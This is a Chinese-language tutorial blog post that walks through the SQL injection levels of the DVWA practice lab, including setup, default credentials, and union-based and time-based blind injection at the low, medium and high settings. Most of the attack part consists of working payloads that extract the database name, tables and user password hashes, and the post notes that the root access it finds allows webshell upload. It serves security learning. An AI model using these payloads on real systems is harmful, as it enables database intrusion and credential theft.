提示:仅供进行学习使用,请勿做出非法的行为。如若由任何违法行为,将依据法律法规进行严惩!!!
文章目录
前言
在完成基础学习后,现在开始正式的打dvwa的靶场。由于目前,主要只学习了sql注入,因此,对于dvwa靶场的攻略仅有sql注入的部分。
提示:以下是本篇文章正文内容,下面案例可供参考
一、dvwa的安装:
下载链接:https://dvwa.co.uk/
百度网盘:链接:https://pan.baidu.com/s/1qqHDqnmgn7Eq1Mb1dxZvyw
提取码:3vpq
–来自百度网盘超级会员V4的分享
将dvwa的压缩包解压到对应的网站目录下:
而后,打开dvwa的目录,找到config文件夹,点击进入,而后将config.inc.php.dist 重命名成config.inc.php,如下图:
点击,打开config.inc.php文件夹,找到对应的用户与密码出,进行修改,如下图箭头指的两个位置就是要修改成自己数据库的root用户以及对应的密码:
然后,在网页中打开dvwa:
点击下面的create database,再重新进入dvwa即可:
默认的账户密码:
username:admin
password:password
在下面的dvwa security 处有设置等级的地方!
二、sql注入关
1.SQL Injection
low级别
首先,先提交一次查询,查看查询时url的构造:
那么,我们估计在id处应该是有注入点的:
测试闭合回路:
?id=1 or 1=1 --+&Submit=Submit#
页面正常,说明不是数字型:
?id=1' or 1=1 --+&Submit=Submit#
出现所有的数据,说明了闭合回路是’ ’
测试列数量:
?id=1' order by 3 --+&Submit=Submit#
order by 2时页面正常,说明列数量为2.
拿库名、用户名:
?id=-1' union select database(),user() --+&Submit=Submit#
我们看到了用户是root用户,因此有机会可以跨库攻击、以及上传webshell。
拿表:
这里出现了一些bug:Illegal mix of collations for operation ‘UNION’
如果有这个问题的读者,请到:
?id=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' --+&Submit=Submit#
拿列:
?id=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' --+&Submit=Submit#
拿数据:
?id=-1' union select group_concat(user),group_concat(password) from dvwa.users --+&Submit=Submit#
这里就已经拿下了,密码是md5加密。在网上找平台解密一下就行了!!
medium级别
换成medium级别后,继续打开sql injection选项。点击提交user id 的按钮,发现url上并没有参数显现了:
那么这里,猜测要么是改用了post进行提交数据,页面很可能是因为使用什么方法将提交的参数进行了隐藏,那么我们使用burp进行抓包看看:
好的,确实是改用了post进行提交的,那么接下来我们进行注入测试:
id=1+and+1=1+--+&Submit=Submit
id=1+and+1=2+--+&Submit=Submit
当输入上述payload的第一条时候,页面回显正常;第二条payload时候,页面回显失败,判定是数字型注入。
输入如下payload,可以判断出列数量(当然也可以用order by)
id=-1+union+select+1,2+--+&Submit=Submit
再之后就可以肆无忌惮的拿数据了:
提供一个payload,其余的看low级别中有详细的拿数据的payload,此处不再赘述:
id=-1+union+select+database(),user()+--+&Submit=Submit
hight级别
这一关,打开后,点击了那个查询按钮后,会弹出一个单独的页面框以供进行输入id进行查询:
利用多一个页面,可以防止我们利用burp,抓取到post包后直接利用repeater模块进行攻击,因为,在我们提交玩这个包后,页面还会进行一次请求的,单单只用这个包是不太行的。
那么,我们直接在这个页面进行尝试:
输入如下payload:
1' or 1=1#
说明闭合回路是’ ’ 且这里貌似是需要利用#进行闭合的,之前我一直用–+时一直不成功(各位读者可自行验证一下)
然后就可以结合low里的payload进行注入了:
1' union select database(),user()#
1.SQL Injection (Blind)
low
首先,利用sleep与and来判断闭合回路:
?id=1' and sleep(5) --+
此时,发现,页面时间明显延长,说明这里存在着注入点,且闭合回路为 ’ ’
那么,这里开始构造payload:
?id=1' and if(substr(database(),1,1)=='d' , null,sleep(2)) --+&Submit=Submit#
由此处的payload可以看出,当我们database的第一个字符等于d时是没有延迟的,等于其他字母时延迟明显加长!!说明数据库的名称的第一个字符是d。。。
以下可自行测试,利用substr的特性可以将所有数据都拿到手!以下再提供一个猜表的payload:
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,1)='g' , null,sleep(2)) --+&Submit=Submit#
medium
打开这一关,首先看到页面只允许自己选择id进行提交,于是我们利用burpsuite进行抓包看看:
这里,我们继续进一步的测试闭合回路:
id=1+and+sleep(5)--+&Submit=Submit
发现页面已经延迟回显了。判断这里是数字注入。。那么以下就直接在这个包里写入注入语句即可:
payload:
id=1+and+if(substr(database(),1,1)=='a',null,sleep(10))+--+&Submit=Submit
其余的具体注入语句可参考第一部分的low级别里语句。
high
同第一部分注入关卡一样,在弹出的页面里写入注入语句即可:
1' and sleep(10)#
至此,dvwa部分的注入已经全部完成了!!!